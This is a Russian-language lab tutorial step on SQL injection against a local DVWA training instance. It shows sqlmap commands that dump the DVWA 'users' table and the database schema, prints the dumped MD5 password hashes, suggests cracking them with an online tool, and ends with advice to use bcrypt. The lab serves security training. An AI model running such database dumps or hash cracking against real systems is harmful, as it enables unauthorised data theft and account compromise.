Анализ полученных данных
На этом этапе мы рассмотрим конфиденциальную информацию из базы данных, которую sqlmap успешно извлек с помощью SQL-инъекции. Это демонстрирует реальный эффект уязвимостей SQL-инъекции, показывая, какую именно информацию могут получить злоумышленники.
- Сначала извлечем все данные из таблицы 'users' в базе данных DVWA. Эта команда основана на предыдущих действиях, но теперь мы конкретно целеуказанно обращаемся к таблице users, чтобы увидеть информацию о учетных записях (замените на ваш сессионный cookie):
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch
-D dvwa указывает на базу данных, -T users целеуказывает на таблицу users, а --dump извлекает все ее содержимое.
- В выводе показана конфиденциальная информация о пользователях, хранящаяся в базе данных:
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg | NULL | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL | 0 |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
Обратите внимание, что в столбце password хранятся хэши MD5 вместо паролей в открытом виде. Хотя это лучше, чем хранение необработанных паролей, MD5 считается криптографически устаревшим и уязвимым к атакам с использованием радужных таблиц.
-
Вы можете попробовать расшифровать эти хэши с помощью онлайн-инструментов, таких как CrackStation, скопировав и вставив значения хэшей. Это показывает, как слабые алгоритмы хэширования могут быть развернуты для восстановления исходных паролей.
-
Чтобы понять полную структуру базы данных, мы можем извлечь ее схему:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch
Флаг --schema показывает все таблицы и их структуру столбцов, предоставляя злоумышленникам план всей базы данных. Это чрезвычайно ценная информация для дальнейшей эксплойтации.
Основные выводы для начинающих:
- Параметр
--dump извлекает все данные из указанной таблицы
- Хэши MD5 часто можно расшифровать с использованием предварительно вычисленных радужных таблиц
- Информация о схеме базы данных помогает злоумышленникам понять структуру данных
- Это упражнение демонстрирует, как одна уязвимость SQL-инъекции может привести к полному компрометации базы данных
- Всегда используйте надежные, сольные алгоритмы хэширования, такие как bcrypt, для хранения паролей